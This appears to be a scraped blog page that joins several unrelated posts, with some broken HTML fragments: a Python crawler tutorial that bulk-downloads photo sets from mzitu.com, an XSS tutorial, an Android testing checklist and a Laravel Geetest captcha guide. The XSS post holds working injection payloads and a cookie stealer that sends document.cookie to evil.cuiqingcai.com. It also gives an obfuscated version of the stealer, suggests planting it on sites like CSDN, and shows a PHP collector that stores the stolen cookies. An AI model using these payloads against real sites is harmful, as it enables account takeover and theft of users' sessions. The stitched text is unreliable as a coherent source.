    from bs4 import BeautifulSoup ##导入bs4中的BeautifulSoup
    import os



    headers = {'User-Agent':"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1"}##浏览器请求头(大部分网站没有这个请求头会报错、请务必加上哦)
    all_url = 'http://www.mzitu.com/all' ##开始的URL地址
    start_html = requests.get(all_url, headers=headers) ##使用requests中的get方法来获取all_url(就是:http://www.mzitu.com/all这个地址)的内容 headers为上面设置的请求头、请务必参考requests官方文档解释
    #print(start_html.text) ##打印出start_html (请注意,concent是二进制的数据,一般用于下载图片、视频、音频、等多媒体内容是才使用concent, 对于打印网页内容请使用text)
    Soup = BeautifulSoup(start_html.text, 'lxml') ##使用BeautifulSoup来解析我们获取到的网页(‘lxml’是指定的解析器 具体请参考官方文档哦)
    li_list = Soup.find_all('li') ##使用BeautifulSoup解析网页过后就可以用找标签呐!(find_all是查找指定网页内的所有标签的意思,find_all返回的是一个列表。)
    for li in li_list: ##这个不解释了。看不懂的小哥儿回去瞅瞅基础教程
    print(li) ##同上

    运行一下试试! QQ截图20161028113340 诶!!!不对啊!!抓到了我们不需要的东西啊!!!这可怎么办啊!! 别急 别急!我们再去看看网页的 F12 瞅瞅。 QQ截图20161028113957 找到啦!原来有其他地方有

  • 标签、观察不仔细啦!现在我们怎么办? 我们再去 F12 瞅瞅! QQ截图20161028114348 哈哈!这就简单了,我们推翻上面的思路 现在我们先找到
  • 标签呢!! 你仔细瞅瞅网页!在
    这个模块里面的
    标签的全是我们需要的东西,就不需要
  • 标签来限制提取范围啦!所以就直接扔掉了不用了。也方便写代码啊。 现在我们改改上面的代码!

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    import requests ##导入requests
    from bs4 import BeautifulSoup ##导入bs4中的BeautifulSoup
    import os

    headers = {'User-Agent':"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1"}##浏览器请求头(大部分网站没有这个请求头会报错、请务必加上哦)
    all_url = 'http://www.mzitu.com/all' ##开始的URL地址
    start_html = requests.get(all_url, headers=headers) ##使用requests中的get方法来获取all_url(就是:http://www.mzitu.com/all这个地址)的内容 headers为上面设置的请求头、请务必参考requests官方文档解释
    #print(start_html.text) ##打印出start_html (请注意,concent是二进制的数据,一般用于下载图片、视频、音频、等多媒体内容是才使用concent, 对于打印网页内容请使用text)
    Soup = BeautifulSoup(start_html.text, 'lxml') ##使用BeautifulSoup来解析我们获取到的网页(‘lxml’是指定的解析器 具体请参考官方文档哦)
    #li_list = Soup.find_all('li') ##使用BeautifulSoup解析网页过后就可以用找标签呐!(find_all是查找指定网页内的所有标签的意思,find_all返回的是一个列表。)
    #for li in li_list: ##这个不解释了。看不懂的效小哥儿回去瞅瞅基础教程
    #print(li) ##同上
    all_a = Soup.find('div', class_='all').find_all('a') ##意思是先查找 class为 all 的div标签,然后查找所有的<a>标签。
    for a in all_a:
    print(a)

    PS: ‘find’ 只查找给定的标签一次,就算后面还有一样的标签也不会提取出来哦! 而 ‘find_all’ 是在页面中找出所有给定的标签!有十个给定的标签就返回十个(返回的是个 list 哦!!),想要了解得更详细,就是看看官方文档吧! 来看看运行结果! QQ截图20161028150438 哇哦!!全是我们需要的类容诶!什么?你的和这个不一样?或者报错了?回头看看 你做的和我有什么不一样······ 实在不行,群里求助吧! 好啦!现在我们该来提取我们想要的内容了!又该我们 BeautifulSoup 大展身手了。 我们需要提取出标签的 href 属性和文本。怎么做呢?看代码!

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    import requests ##导入requests
    from bs4 import BeautifulSoup ##导入bs4中的BeautifulSoup
    import os

    headers = {'User-Agent':"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1"}##浏览器请求头(大部分网站没有这个请求头会报错、请务必加上哦)
    all_url = 'http://www.mzitu.com/all' ##开始的URL地址
    start_html = requests.get(all_url, headers=headers) ##使用requests中的get方法来获取all_url(就是:http://www.mzitu.com/all这个地址)的内容 headers为上面设置的请求头、请务必参考requests官方文档解释
    #print(start_html.text) ##打印出start_html (请注意,concent是二进制的数据,一般用于下载图片、视频、音频、等多媒体内容是才使用concent, 对于打印网页内容请使用text)
    Soup = BeautifulSoup(start_html.text, 'lxml') ##使用BeautifulSoup来解析我们获取到的网页(‘lxml’是指定的解析器 具体请参考官方文档哦)
    #li_list = Soup.find_all('li') ##使用BeautifulSoup解析网页过后就可以用找标签呐!(find_all是查找指定网页内的所有标签的意思,find_all返回的是一个列表。)
    #for li in li_list: ##这个不解释了。看不懂的效小哥儿回去瞅瞅基础教程
    #print(li) ##同上
    all_a = Soup.find('div', class_='all').find_all('a') ##意思是先查找 class为 all 的div标签,然后查找所有的<a>标签。
    # 页面更改 多了一个早期图片 需要删掉(小伙伴们 可以自己尝试处理一下这个页面)
    all_a.pop(0)
    # 上面是删掉列表的第一个元素
    for a in all_a:
    title = a.get_text() #取出a标签的文本
    href = a['href'] #取出a标签的href 属性
    print(title, href)

    就多了两行!很方便吧!!为什么这么写?自己去看官方文档啦!(我要全解释了,估计有些小哥儿官方文档都不会去看。这样很不好诶。) 来来!看看结果怎么样 我们来打印一下看看! QQ截图20161028152315 哈哈 果然是我们想要的内容!我们已经找向目标前进了一半了!好啦前面已经把怎么实现的方法讲清楚了哦(如果你觉得什么地方有问题或者不清楚,在群里说说 我好改改)下面就要开始加快节奏了!!(篇幅长了 会被人骂的!) 上面我们找到了 图片的标题(暂时不管,这是后面用来创建文件夹的)和 图片页面的地址(这是我们这一步需要做的),需要做什么请参考最上面那个超简陋的流程图。 先查看一下图片页面有什么东西 你会发现一个页面只有一张图片啊!想要下载一套啊! 你点一下面的 1 、2、3、4········ 你会发现地址栏里面的 URL 在变化啊!这就是我们的入手的地方了! QQ截图20161028164035 页码在标签中,我们只需要获取最后一个页面的页码, 从 1 开始历遍,和我们上面获取的 URL 拼接在一起就是每张图片的页面地址啦! 在页面的源代码搜一下标签 [![QQ截图20161028191747](http://cdn.cuiqingcai.com/wp-content/uploads/2016/10/QQ截图20161028191747-1024x554.png)](http://cdn.cuiqingcai.com/wp-content/uploads/2016/10/QQ截图20161028191747.png) 可以发现最后一个页面的标签是第二十一个标签,因为在 html 中标签是成对的,所以我需要查找的是第十一个标签(BeautifulSoup 是以开始的标签定位,而不是结尾的。开始的标签是这样<>;结束的标签是这样) 废话不多说上代码! PS:下面的代码我已经把注释掉的删掉了,所以看起来和上面的不太一样。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    import requests ##导入requests
    from bs4 import BeautifulSoup ##导入bs4中的BeautifulSoup
    import os


    headers = {'User-Agent':"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1"}##浏览器请求头(大部分网站没有这个请求头会报错、请务必加上哦)
    all_url = 'http://www.mzitu.com/all' ##开始的URL地址
    start_html = requests.get(all_url, headers=headers) ##使用requests中的get方法来获取all_url(就是:http://www.mzitu.com/all这个地址)的内容 headers为上面设置的请求头、请务必参考requests官方文档解释
    Soup = BeautifulSoup(start_html.text, 'lxml') ##使用BeautifulSoup来解析我们获取到的网页(‘lxml’是指定的解析器 具体请参考官方文档哦)
    all_a = Soup.find('div', class_='all').find_all('a') ##意思是先查找 class为 all 的div标签,然后查找所有的<a>标签。
    # 页面更改 多了一个早期图片 需要删掉(小伙伴们 可以自己尝试处理一下这个页面)
    all_a.pop(0)
    # 上面是删掉列表的第一个元素
    for a in all_a:
    title = a.get_text() #取出a标签的文本
    href = a['href'] #取出a标签的href 属性
    html = requests.get(href, headers=headers) ##上面说过了
    html_Soup = BeautifulSoup(html.text, 'lxml') ##上面说过了
    max_span = html_Soup.find('div', class_='pagenavi').find_all('span')[-2].get_text() ##查找所有的<span>标签获取第十个的<span>标签中的文本也就是最后一个页面了。
    for page in range(1, int(max_span)+1): ##不知道为什么这么用的小哥儿去看看基础教程吧
    page_url = href + '/' + str(page) ##同上
    print(page_url) ##这个page_url就是每张图片的页面地址啦!但还不是实际地址!

    好啦!运行一下试试!就是下面这样: QQ截图20161028194230 完美!!每个页面的地址都出来啦!!! 下面开始找图片的实际地址啦! 随意打开上面的地址地用 F12 调试工具试试! QQ截图20161028195338 会发现我们需要的地址在

    中的标签的 src 属性中。是不是很眼熟啊!知道怎么写了吧?下面上代码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    import requests ##导入requests
    from bs4 import BeautifulSoup ##导入bs4中的BeautifulSoup
    import os


    headers = {'User-Agent':"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1"}##浏览器请求头(大部分网站没有这个请求头会报错、请务必加上哦)
    all_url = 'http://www.mzitu.com/all' ##开始的URL地址
    start_html = requests.get(all_url, headers=headers) ##使用requests中的get方法来获取all_url(就是:http://www.mzitu.com/all这个地址)的内容 headers为上面设置的请求头、请务必参考requests官方文档解释
    Soup = BeautifulSoup(start_html.text, 'lxml') ##使用BeautifulSoup来解析我们获取到的网页(‘lxml’是指定的解析器 具体请参考官方文档哦)
    all_a = Soup.find('div', class_='all').find_all('a') ##意思是先查找 class为 all 的div标签,然后查找所有的<a>标签。
    # 页面更改 多了一个早期图片 需要删掉(小伙伴们 可以自己尝试处理一下这个页面)
    all_a.pop(0)
    # 上面是删掉列表的第一个元素
    for a in all_a:
    title = a.get_text() #取出a标签的文本
    href = a['href'] #取出a标签的href 属性
    html = requests.get(href, headers=headers) ##上面说过了
    html_Soup = BeautifulSoup(html.text, 'lxml') ##上面说过了
    max_span = html_Soup.find('div', class='pagenavi').find_all('span')[-2].get_text() ##查找所有的<span>标签获取第十个的<span>标签中的文本也就是最后一个页面了。
    for page in range(1, int(max_span)+1): ##不知道为什么这么用的小哥儿去看看基础教程吧
    page_url = href + '/' + str(page) ##同上
    img_html = requests.get(page_url, headers=headers)
    img_Soup = BeautifulSoup(img_html.text, 'lxml')
    img_url = img_Soup.find('div', class_='main-image').find('img')['src'] ##这三行上面都说过啦不解释了哦
    print(img_url)

    运行一下 QQ截图20161028200330 完美!就是我们想要的东西,下面开始保存了哦!哈哈!妹子马上就可以到你碗里去了! 首先我们要给每套图建一个文件夹,然后将下载的图片以 URL 的 xxxxx.jpg 中的 xxxxx 命名保存在这个文件夹里面。直接上代码了!

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    import requests ##导入requests
    from bs4 import BeautifulSoup ##导入bs4中的BeautifulSoup
    import os


    headers = {'User-Agent':"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1"}##浏览器请求头(大部分网站没有这个请求头会报错、请务必加上哦)
    all_url = 'http://www.mzitu.com/all' ##开始的URL地址
    start_html = requests.get(all_url, headers=headers) ##使用requests中的get方法来获取all_url(就是:http://www.mzitu.com/all这个地址)的内容 headers为上面设置的请求头、请务必参考requests官方文档解释
    Soup = BeautifulSoup(start_html.text, 'lxml') ##使用BeautifulSoup来解析我们获取到的网页(‘lxml’是指定的解析器 具体请参考官方文档哦)
    all_a = Soup.find('div', class_='all').find_all('a') ##意思是先查找 class为 all 的div标签,然后查找所有的<a>标签。
    # 页面更改 多了一个早期图片 需要删掉(小伙伴们 可以自己尝试处理一下这个页面)
    all_a.pop(0)
    # 上面是删掉列表的第一个元素
    for a in all_a:
    title = a.get_text() #取出a标签的文本
    path = str(title).strip() ##去掉空格
    os.makedirs(os.path.join("D:\mzitu", path)) ##创建一个存放套图的文件夹
    os.chdir("D:\mzitu\\"+path) ##切换到上面创建的文件夹
    href = a['href'] #取出a标签的href 属性
    html = requests.get(href, headers=headers) ##上面说过了
    html_Soup = BeautifulSoup(html.text, 'lxml') ##上面说过了
    max_span = html_Soup.find('div', class_='pagenavi').find_all('span')[-2].get_text() ##查找所有的<span>标签获取第十个的<span>标签中的文本也就是最后一个页面了。
    for page in range(1, int(max_span)+1): ##不知道为什么这么用的小哥儿去看看基础教程吧
    page_url = href + '/' + str(page) ##同上
    img_html = requests.get(page_url, headers=headers)
    img_Soup = BeautifulSoup(img_html.text, 'lxml')
    img_url = img_Soup.find('div', class_='main-image').find('img')['src'] ##这三行上面都说过啦不解释了哦
    name = img_url[-9:-4] ##取URL 倒数第四至第九位 做图片的名字
    img = requests.get(img_url, headers=headers)
    f = open(name+'.jpg', 'ab')##写入多媒体文件必须要 b 这个参数!!必须要!!
    f.write(img.content) ##多媒体文件要是用conctent哦!
    f.close()

    好了!!来运行一下 QQ截图20161028205004 哈哈哈完美!!!以上完毕!下面我们来整理一下代码,弄个函数什么的提示下逼格!加点提示什么的 首先我们上面 requests 一共使用了三次,我们写一个函数复用 (别怕!一点都不难)

    1
    2
    3
    4
    def request(url):
    headers = {'User-Agent': "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1"}
    content = requests.get(url, headers=headers)
    return content

    当调用 request 的时候会获取 URL 地址的网页然后返回获取到的 response (response 是啥? 你理解成请求网页地址返回的源码就好了! 注意:如果请求的是多媒体文件的话 response 返回的是二进制文件哦!) 哈哈!第一个就写好啦,简单吧! 第二个是创建文件

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    def mkdir(self, path):
    path = path.strip()
    isExists = os.path.exists(os.path.join("D:\mzitu", path))
    if not isExists:
    print(u'建了一个名字叫做', path, u'的文件夹!')
    os.makedirs(os.path.join("D:\mzitu", path))
    return True
    else:
    print(u'名字叫做', path, u'的文件夹已经存在了!')
    return False

    调用 mkdir 这个函数时,会在 D:\mzitu 文件下创建一个 path 这个参数的文件夹(是参数 不是 path 哦!就是你调用的时候传递什么参数给这个函数 就创建什么文件夹!这个函数可以存着,下载东西到本地 都可以用),另外一个好处就是在文件夹已经存在的情况下不会报错退出程序哦! 不使用就会诶! 好啦 剩下的我就一股脑的写出来了! PS: 感谢Lucibriel的提醒!(因为我的程序就在 D 盘,所以疏忽了 程序没在 D 盘 os.chdir() 不能切换目录的问题、已经就改过来了;非常抱歉。)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    import requests
    from bs4 import BeautifulSoup
    import os

    class mzitu():

    def __init__(self):
    self.headers = {'User-Agent': "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24"}
    def all_url(self, url):
    html = self.request(url)##调用request函数把套图地址传进去会返回给我们一个response
    all_a = BeautifulSoup(html.text, 'lxml').find('div', class_='all').find_all('a')
    # 页面更改 多了一个早期图片 需要删掉(小伙伴们 可以自己尝试处理一下这个页面)
    all_a.pop(0)
    # 上面是删掉列表的第一个元素
    for a in all_a:
    title = a.get_text()
    print(u'开始保存:', title) ##加点提示不然太枯燥了
    path = str(title).replace("?", '_') ##我注意到有个标题带有 ? 这个符号Windows系统是不能创建文件夹的所以要替换掉
    self.mkdir(path) ##调用mkdir函数创建文件夹!这儿path代表的是标题title哦!!!!!不要糊涂了哦!
    href = a['href']
    self.html(href) ##调用html函数把href参数传递过去!href是啥还记的吧? 就是套图的地址哦!!不要迷糊了哦!

    def html(self, href): ##这个函数是处理套图地址获得图片的页面地址
    html = self.request(href)
    self.headers['referer'] = href
    max_span = BeautifulSoup(html.text, 'lxml').find('div', class_='pagenavi').find_all('span')[-2].get_text()
    for page in range(1, int(max_span) + 1):
    page_url = href + '/' + str(page)
    self.img(page_url) ##调用img函数

    def img(self, page_url): ##这个函数处理图片页面地址获得图片的实际地址
    img_html = self.request(page_url)
    img_url = BeautifulSoup(img_html.text, 'lxml').find('div', class_='main-image').find('img')['src']
    self.save(img_url)

    def save(self, img_url): ##这个函数保存图片
    name = img_url[-9:-4]
    img = self.request(img_url)
    f = open(name + '.jpg', 'ab')
    f.write(img.content)
    f.close()

    def mkdir(self, path): ##这个函数创建文件夹
    path = path.strip()
    isExists = os.path.exists(os.path.join("D:\mzitu", path))
    if not isExists:
    print(u'建了一个名字叫做', path, u'的文件夹!')
    os.makedirs(os.path.join("D:\mzitu", path))
    os.chdir(os.path.join("D:\mzitu", path)) ##切换到目录
    return True
    else:
    print(u'名字叫做', path, u'的文件夹已经存在了!')
    return False

    def request(self, url): ##这个函数获取网页的response 然后返回
    content = requests.get(url, headers=self.headers)
    return content

    Mzitu = mzitu() ##实例化
    Mzitu.all_url('http://www.mzitu.com/all') ##给函数all_url传入参数 你可以当作启动爬虫(就是入口)

    QQ截图20161028215007 完美!!好啦!结束了! 如果大家觉得还能看懂、还行的话 我后面在写点儿其他的。 给大家看看我的成果 QQ截图20161028220006 最后感谢 mzitu.com 的站长。 后续几篇:

    小白爬虫第二弹之健壮的小爬虫

    小白爬虫第三弹之去重去重

    小白爬虫第四弹之爬虫快跑(多进程+多线程)

    小白进阶之 Scrapy 第一篇

    小白进阶之 Scrapy 第二篇(登录篇)

    Scrapy 分布式的前篇–让 redis 和 MongoDB 安全点

    小白进阶之 Scrapy 第三篇基于 Scrapy-Redis 的分布式以及 cookies 池

  • JavaScript

    什么是XSS

    XSS 意为跨站脚本攻击(Cross Site Scripting),缩写应该是CSS,但是已经有了一个层叠样式表(Cascading Style Sheets),所以就叫它XSS了。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的,最常见的就是拿到攻击者的 Cookie 然后就可以登录别人的账号了。

    XSS实例

    最简单的形式就是从URL中直接插入恶意的 JavaScript 代码,最简单的实例如下:

    1
    2
    3
    4
    <?php

    $input = $_GET['info'];
    echo $input;

    服务端接收到了数据并执行了输出操作。这样的话就完全可以利用了,你可以向参数输入任意代码。 这个服务端的测试用例网址是 http://res.cuiqingcai.com/hack/xss1.php 你可以直接在参数后面加入 JavaScript 代码,例如 http://res.cuiqingcai.com/hack/xss1.php?info=%3Cscript%3Ealert(%27hello%27)%3C/script%3E%3C/script%3E) 直接打开便实现了最简单的 XSS 攻击,不过有的浏览器对此种攻击方式执行了过滤,例如 Chrome, Firefox。有的未执行过滤的浏览器是可以正常演示的。正常的结果应该是输出一个提示框。 接下来再演示另一种攻击方式。 测试网址是 http://res.cuiqingcai.com/hack/xss2.html 源代码如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    <!DOCTYPE html>
    <html lang="en">
    <head>
    <meta charset="UTF-8">
    <title>TEST XSS</title>
    </head>
    <body>
    <script>
    function test() {
    var text = document.getElementById('text').value;
    var new_text = '<a href="' + text + '">test</a>';
    console.log(new_text);
    document.getElementById('content').innerHTML = new_text;
    }
    </script>
    <div id="content"></div>
    <input type="text" id="text" value="">
    <input type="button" id="button" value="提交" onclick="test()">
    </body>
    </html>

    现在有一个输入框,点击按钮之后会将输入框的内容提取出来,然后拼凑到超链接标签里。在这里也可以执行XSS攻击。 比如输入

    1
    javascript:void(0)" onclick=alert('ssss') "

    提交之后会出现一个超链接,点击之后就可以执行你输入的代码,这次就弹出一个输入框。 当然你也可以插入一张图片,用 onerror 属性定义方法

    1
    "><img src="#" onerror=alert(/xss/)><meta class="

    也可以达到同样的效果。 那么接下来来了,我们可以利用这个漏洞来盗取Cookie。 盗取Cookie可以这样,在本地执行一个JavaScript脚本,然后请求恶意网址,恶意网址的参数就是本网址通过 document.cookie 获取的本地cookie,这样 cookie 就保存在恶意网站上了。 这样的话,我们可以写一个脚本。

    1
    2
    3
    4
    var img = document.createElement('img');
    img.src = 'http://evil.cuiqingcai.com/cookie.php?url='+escape(window.location.href)+'&content='+escape(document.cookie);
    img.style = 'display:none';
    document.body.appendChild(img);

    创建一张图片,然后图片的链接是一个恶意网址加当前的cookie,然后添加到网页里。这样,新增加的一个网页便会请求这个src,实现访问。 然后还是原来的实例,我们想在代码里执行这段JavaScript,那怎么办呢?直接创建一个script节点引用? 先把这段js保存成 http://evil.cuiqingcai.com/cookie.js,试一下。 输入

    1
    javascript:void(0)"></a><script src="//evil.cuiqingcai.com/cookie.js"></script><a class="

    测试之后,发现并不能行。原因是插入script标签后,并不会自动请求这个链接。 这样我们就需要再次借助图片这个神奇的东西来帮忙了。 输入

    1
    javascript:void(0)"></a><img src=# onerror="document.body.appendChild(document.createElement('script')).src='//evil.cuiqingcai.com/cookie.js'"><a class="

    这里创建了一张图片,然后利用 onerror 方法插入了一个 script 标签,引入这个JS文件,这样就可以正常加载了。 嗯,那么这样就做到了将cookie传递给一个恶意网址。真正的盗取是在这里的。 那么 http://evil.cuiqingcai.com/cookie.php 的内容是什么?

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    <?php 

    session_start();

    $_SESSION['attempt'] = isset($_SESSION['attempt'])?$_SESSION['attempt']:0;

    $_SESSION['attempt'] += 1;

    if ($_SESSION['attempt'] >= 100) {
    die("Too Frequent");
    }

    $mysqli = new mysqli("localhost", "root", "", "evil");
    if ($mysqli->connect_errno) {
    echo "Failed to connect to MySQL: (" . $mysqli->connect_errno . ") " . $mysqli->connect_error;
    }

    $url = $_GET['url'];
    $content = $_GET['content'];

    $time = date("Y-m-d H:i:s", time());

    $items = explode(";", $content);

    $js = '';

    foreach ($items as $item) {
    $js .= ("document.cookie='".trim($item)."';");
    }

    if ($url && $content && $stmt = $mysqli->prepare("insert into cookies(url, content, time, js) values (?, ?, ?, ?)")) {
    $stmt->bind_param("ssss", $url, $content, $time, $js);
    $result = $stmt->execute();
    if ($result) {
    echo "Collected Your Cookie <br>" ;
    }
    }

    echo 'url:', $url, '<br>', 'content:', $content;

    其实就是获取了url,还有cookie内容,然后插入了数据库保存起来。 这样,每成功一个XSS,就可以成功捕获到某个网站的Cookie。

    混淆加密

    其实将刚才的cookie.js贴到任意的网站都有可能引起XSS,比如CSDN。 为了防止JavaScript被看出来,可以利用在线加密网站加密。http://tool.chinaz.com/js.aspx 比如上面一段代码就被加密成这样,粘贴到控制台,就能成功获取Cookie了。

    1
    eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('9 0=1.8(\'0\');0.a=\'c://b.5.7/3.4?6=\'+2(j.i.l)+\'&k=\'+2(1.3);0.h=\'e:d\';1.g.f(0);',22,22,'img|document|escape|cookie|php|cuiqingcai|url|com|createElement|var|src|evil|http|none|display|appendChild|body|style|location|window|content|href'.split('|'),0,{}))

    Other

    1、冒烟测试

    使用的工具

    Monkey

    目标

    (1) 编写adb.exe的Monkey命令。 (2) 通过logcat定位问题,保证软件的健壮性。

    1.1 内存泄漏测试

    关注app的启动时间,页面加载时间,主要功能占用的CPU,内存,流量,与同类产品比较是否有优势。工具:DDMS

    1.2 联机调试测试

    连接真机进入调试模式,测试业务流;通过Logcat记录个操作,将所有错误定位代码。

    1.3 外网测试

    要覆盖到WIFI\2G\3G、net\wap 、电信\移动\联网,所有组合进行测试

    2、安装、卸载测试

    2.1 安装卸载

    app安装、卸载、启动、运行、清除缓存/数据运行看看是否正常

    2.2 平台支持

    是否支持豌豆荚、91等主流辅助工具,及是否和第三方软件兼容。

    3、在线升级测试

    3.1 在线升级安装及使用测试

    (1)验证数字签名; (2)升级后是否可以正常使用; (3)在线夸版本升级。

    4、业务功能测试

    4.1 业务逻辑测试

    运行app时,是否可以接电话,发短信,锁屏,充电等功能

    4.2 功能点测试

    检查功能点是否正常,是否满足需求文档

    4.3 关联性测试

    安装app后,是否和pc机连接,交互正常

    5、稳定性及异常性测试

    5.1 交互性测试

    手机被多种打扰,例如,打开微信,聊QQ,听音乐等,app是否运行正常;待机,插拔数据线等操作

    5.2 异常性测试

    断点、断网异常情况,是否稳定

    6、性能测试

    6.1 基准性能测试

    主要是写脚本,是否可以进行压力测试;在不同网络的情况下,运行速度变化情况。

    6.2 大数据量测试

    保证手机更新大数据量程序成功率

    7、界面易用性测试

    7.1 界面与交互性测试

    符合安卓交互规范;用户体验良好;使用方便。快捷

    7.2 可用性测试

    可用性强,操作简单;使用操作错误率低;完成任务使用时间短

    8、自动化测试

    CTS工具,主要是基于Androidinstrumentation和JUnit测试原理推单元测试用例; Monkey用来对UI进行压力测试,伪随机的模拟用户的按键输入,触摸屏输入,手势输入等; ASE工具,是调用Android的功能,从而定制一些测试,比如打电话,发短信,浏览网页等; Robotium工具,提供了模仿用户操作行为的API,比如在某个控件上点击,输入Text等等; MonkeyRunner工具,是调用一个Python脚本去安装一个Android应用程序或测试包,运行它,向它发送模拟按键,截取界面图片等 QQ交流群:369353583

    PHP

    简述

    在网站开发中使用频率最高的工具之一便是验证码,验证码在此也是多种多样,不过简单的图片验证码已经可以被机器识别,极验验证码提供了一个安全可靠的滑动验证码体系,让网站开发更加安全。 先感受一下这种验证码的魅力 极验 接入极验验证码的过程并没有想象中的那么简单,如果想在Laravel5中使用,可以使用Laravel5的极验验证码包 LaravelGeetest 支持 Laravel 5.0 及以上版本。 地址: https://github.com/Germey/LaravelGeetest 建议阅读原项目的README文件,最新的更新都会在README中说明,而且用法介绍是最全面的。 下面简单介绍一下该工具包的使用。

    注册极验账号

    首先需要到 极验 网站注册账号,然后新建一个应用,获取到 ID 和 KEY,留作备用,后台管理页面如下。

    安装

    在项目地址输入命令

    1
    $ composer require germey/geetest

    就可以完成该包的安装 或者可以在 composer.json 的 require 中添加

    1
    "germey/geetest": "~2.0"

    然后执行

    1
    $ composer update

    同样可以完成该包的安装。

    配置

    注册 ServiceProvider,在 config/app.php 的 providers 中添加

    1
    Germey\Geetest\GeetestServiceProvider::class

    在 aliases 中添加

    1
    'Geetest' => Germey\Geetest\Geetest::class

    然后执行

    1
    $ php artisan vendor:publish

    会生成一个配置文件,config/geetest.php 和视图文件views/vendor/geetest,视图文件中你可以自定义配置,比如修改一下验证失败后的alert函数,修改为你想要的提示toast等。

    使用

    首先把刚才拿到的 ID 和 KEY 配置到 .env 文件中,因为这两个算私密内容,配置到 .env 文件中可以保证安全性。在 .env 中写入如下两行。

    1
    2
    GEETEST_ID=0f1097bef7xxxxxx9afdeced970c63e4
    GEETEST_KEY=c070f0628xxxxxxe68e138b55c56fb3b

    其中 ID 和 KEY 换成你自己的。 然后,在任意的视图里,我们只需要调用

    1
    {!! Geetest::render() !!}

    就可以得到验证码了。 比如我们最常用的表单里

    1
    2
    3
    4
    5
    6
    <form action="/" method="post">
    <input name="_token" type="hidden" value="{{ csrf_token() }}">
    <input type="text" name="name" placeholder="name">
    {!! Geetest::render() !!}
    <input type="submit" value="submit">
    </form>

    通过如上代码就可以完成验证码的生成了,样例如下: 另外还可以指定验证码的另外两种样式。

    1
    2
    {!! Geetest::render('embed') !!}
    {!! Geetest::render('popup') !!}

    以上两个方法分别会生成嵌入式和弹出式验证码。如果没有参数,默认是浮动式。 关于这几种样式,可以参考 官网 这样,就能保证必须完成验证码操作才能提交表单。 好,至此,你就可以完成最基础的验证码配置了。

    服务端验证

    如果你完成了上面的部分,那么恭喜你已经成功了一大半了,可以到此为止,不过如果想更加安全,请继续往下看。 在此是服务端二次验证,在上面讲的方法是客户端的验证,但是这并不能代表绝对安全,一些恶意用户依然可以通过操作JS完成表单的提交,所以服务端我们需要再次验证一下。 在表单提交的时候,如果你用了极验,那么就会额外提交三个字段,分别是 geetest_challenge, geetest_validate, geetest_seccode, 利用这三个字段,我们可以重新核对操作是否合法。 在这里这个包又做了封装,提供了一条验证规则。 所以验证时我们只需要利用验证规则即可。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    use Illuminate\Http\Request;

    class BaseController extends Controller
    {
    /**
    * @param Request $request
    */
    public function postValidate(Request $request)
    {
    $result = $this->validate($request, [
    'geetest_challenge' => 'geetest',
    ], [
    'geetest' => config('geetest.server_fail_alert')
    ]);
    if ($request) {
    return 'success';
    }
    }
    }

    利用 validate 方法,通过验证其中一个字段 geetest_challenge, 验证规则 geetest 就可以完成服务端的验证。这样就更保证了安全性。 在这里注意,由于多提交了几个字段,如果想执行 ORM 的批量插入修改操作时,记得在 Model 里面屏蔽这几个字段

    1
    protected $guarded = ['geetest_challenge', 'geetest_validate', 'geetest_seccode'];

    通过以上方法,就完成了服务端验证。 关于更多使用方法,可以参考 README

    语言设置

    验证码提供五种语言,简体中文,繁体中文,英文,日文,韩文。 可以通过 config/geetest.php 中设置 lang 字段。

    • zh-cn (简体中文)
    • zh-tw (繁体中文)
    • en (英文)
    • ja (日文)
